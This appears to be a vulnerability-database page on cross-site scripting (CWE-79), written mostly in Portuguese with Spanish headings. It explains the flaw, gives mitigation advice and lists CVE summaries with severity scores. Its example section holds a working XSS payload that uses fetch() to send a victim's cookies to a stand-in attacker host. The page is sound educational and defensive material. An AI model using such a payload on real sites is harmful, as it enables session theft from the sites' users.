Fallos del tipo CWE-79

30.269 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-46611MEDIUMCross Site Scripting vulnerability in ARTEC EMA Mail v6.92 allows an attacker to execute arbitrary code via a crafted script.EPSS 0.3%CVE-2025-2892MEDIUMAll in One SEO Pack <= 4.8.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Meta Description and Canonical URLEPSS 0.3%CVE-2026-54701MEDIUMMarkdown Preview Enhanced: Stored XSS via Unsanitized `.crossnote/head.html` Injection in WebviewEPSS 0.3%CVE-2024-56358HIGHCross-site Scripting vulnerability through svg attachment previews in grist-coreEPSS 0.3%CVE-2026-25484MEDIUMCraft Commerce has Stored XSS in Product Type NameEPSS 0.3%CVE-2024-57772MEDIUMA cross-site scripting (XSS) vulnerability in the /bumph/getDraftListPage?type interface of JFinalOA before v2025.01.01 allows attackers to EPSS 0.3%CVE-2025-63499MEDIUMAlinto Sogo 5.12.3 is vulnerable to Cross Site Scripting (XSS) via the theme parameter.EPSS 0.3%CVE-2025-6475MEDIUMSourceCodester Student Result Management System Manage Students Module manage_students cross site scriptingEPSS 0.3%CVE-2025-31409MEDIUMWordPress Bridge Core plugin < 3.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-0724MEDIUMWPlyr Media Block <= 1.3.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via '_wplyr_accent_color' ParameterEPSS 0.3%CVE-2024-13902MEDIUMhuang-yk student-manage Edit a Student Information Page cross site scriptingEPSS 0.3%CVE-2023-51252MEDIUMPublicCMS 4.0 is vulnerable to Cross Site Scripting (XSS). Because files can be uploaded and online preview function is provided, pdf files EPSS 0.3%CVE-2025-8316MEDIUMCertifica WP <= 3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via evento ParameterEPSS 0.3%CVE-2025-6125MEDIUMPHPGurukul Rail Pass Management System aboutus.php cross site scriptingEPSS 0.3%CVE-2026-100147HIGHFunnelKit <= 3.16.0.5 - Unauthenticated Stored Cross-Site Scripting via Order Fields (shipping/billing)EPSS 0.3%CVE-2025-53658MEDIUMJenkins Applitools Eyes Plugin 1.16.5 and earlier does not escape the Applitools URL on the build page, resulting in a stored cross-site scrEPSS 0.3%CVE-2026-115869MEDIUMThemify Builder <= 7.8.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'variations' Repeater FieldEPSS 0.3%CVE-2025-7435MEDIUMLiveHelperChat lhc-php-resque Extension List list cross site scriptingEPSS 0.3%CVE-2024-11623MEDIUMStored XSS in authentikEPSS 0.3%CVE-2026-36748CRITICALRockRMS v16.13 and before v.17.7.0 is vulnerable to Cross Site Scripting (XSS) via Social Media links in user profile.EPSS 0.3%